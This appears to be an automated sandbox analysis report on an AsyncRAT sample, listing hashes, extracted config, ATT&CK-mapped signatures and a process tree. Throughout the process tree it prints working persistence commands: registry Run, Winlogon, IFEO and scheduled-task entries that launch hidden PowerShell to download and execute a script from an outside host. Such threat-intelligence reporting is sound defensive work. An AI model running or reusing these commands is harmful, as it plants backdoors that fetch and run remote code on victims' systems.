asyncrat | 004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52

Analysis

max time kernel
58s
max time network
62s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 19:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52.exe
Size 111KB
Sample261102-x9b99ayz3n
SHA256 004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52
MD5 7fc48316bb11836db5076fdf396a5bb6
SHA1 bde1b0ebeeebd73f3a7dd20b014b45ca5aae99e2
SHA512 474375366e04b4a050151d4ce5b82ab9f85c7f773554ad8e2d1c0b53b37dc648aa1e620fdec5cc0ccf3dbc7303a53f63d7bc2294738f65afd2db26cd7675480f
SSDEEP 3072:KCjoK06EPTnxhw4ZuWrf5OxZhCaYQbWCrOSb0tBaIrxx:rjoK06IbduyRm6aYQb91cP
TLSH
T17AB3B44037F94615F2FBAF7CADB5624549BEBD626912CA8D18B0108E0536B81CDE2F37
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

tele@vietnamreport defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://mu88a2.com/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Tele@VietNamReport

Mutex

pwJsaO969qSx

Attributes

delay
3
install
true
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000e00000001c42c-24.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2488	cmd.exe
1204	cmd.exe
5772	cmd.exe
5792	cmd.exe
3828	cmd.exe
1988	cmd.exe
4104	cmd.exe
2708	cmd.exe
3184	cmd.exe
5056	cmd.exe
1336	cmd.exe
1964	cmd.exe
1160	cmd.exe
4560	cmd.exe
936	cmd.exe
4532	cmd.exe
2752	cmd.exe
1216	cmd.exe
5796	cmd.exe
252	cmd.exe
3568	cmd.exe
2948	cmd.exe
4668	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1624	timeout.exe

Meterpreter User-Agent 1 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	17	Meterpreter/1.0 (Windows)

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5328	schtasks.exe
3132	schtasks.exe
5468	schtasks.exe
5276	schtasks.exe
1592	schtasks.exe
3560	schtasks.exe
1004	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52.exe
"C:\Users\Admin\AppData\Local\Temp\004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:3924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:1068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:5180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1964
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:5416
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5772
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:4540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1160
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:1216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:3568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:4560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Tele@VietNamReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"' & exit
  2⤵
  - Executes a command shell one-liner
  PID:936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Tele@VietNamReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1004
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp82D2.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  PID:3184
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1624
- - C:\Users\Admin\AppData\Roaming\[email protected]
    "C:\Users\Admin\AppData\Roaming\[email protected]"
    3⤵
    PID:3900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:3828
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
        5⤵
        
        PID:4356
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:1988
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
        5⤵
        
        PID:3460
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2488
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
        5⤵
        
        PID:2468
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:1216
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
        5⤵
        
        PID:1008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:4104
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
        5⤵
        
        PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      PID:5796
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5468
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      PID:1204
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
PID:5140

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')"
1⤵
PID:8

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:3016

C:\Users\Admin\AppData\Roaming\[email protected]
"C:\Users\Admin\AppData\Roaming\[email protected]"
1⤵
PID:3548
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:2932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1336
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:4732
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2948
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:4140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4668
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
    3⤵
    PID:956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:4532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5328
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:2752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_uwnx0ayv.rr1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uwnx0ayv.rr1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmp82D2.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp82D2.tmp.bat
Size 162B
SHA256 f2b128b0c4322aad87b856a7307a2c03320d3a68a4a5404c8c586ef520283b49
MD5 5c4b437fbe362506995e79e0ad80ea64
SHA1 4f2de911de9006b65a4c9b5c61d81dd4306ffa01
SHA512 367d0ab05fe4631db00e2fb0e74447f923ec96e767a9579e6c5ed8a1420a3f84e91ae3f2837b5fbe33b3ea4f59c27a5b6f57639a7d4c557a44d79e71729006b6
TLSH
T1EAC08C92A1C9AA5E2946A86306FA948DE1AAA91A3F40EB80C708802D22C044EF4A9245
MD5 SHA1 SHA512 TLSH

Submit Download

[email protected]

Path C:\Users\Admin\AppData\Roaming\[email protected]
Size 111KB
SHA256 004b2cf4f67fb97eddbb7ebcfffc24601638e3610d938dfac71886554cf3db52
MD5 7fc48316bb11836db5076fdf396a5bb6
SHA1 bde1b0ebeeebd73f3a7dd20b014b45ca5aae99e2
SHA512 474375366e04b4a050151d4ce5b82ab9f85c7f773554ad8e2d1c0b53b37dc648aa1e620fdec5cc0ccf3dbc7303a53f63d7bc2294738f65afd2db26cd7675480f
SSDEEP 3072:KCjoK06EPTnxhw4ZuWrf5OxZhCaYQbWCrOSb0tBaIrxx:rjoK06IbduyRm6aYQb91cP
TLSH
T17AB3B44037F94615F2FBAF7CADB5624549BEBD626912CA8D18B0108E0536B81CDE2F37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1996-3-0x000001FF146B0000-0x000001FF146D2000-memory.dmp

Download

memory/3016-28-0x000000000A150000-0x000000000A1AC000-memory.dmp

Download

memory/3924-0-0x0000000074C22000-0x0000000074C23000-memory.dmp

Download

memory/3924-1-0x0000000000450000-0x0000000000472000-memory.dmp

Download

memory/3924-2-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/3924-10-0x0000000005E90000-0x0000000005F2C000-memory.dmp

Download

memory/3924-21-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/5140-23-0x0000015B7BCC0000-0x0000015B7BD08000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads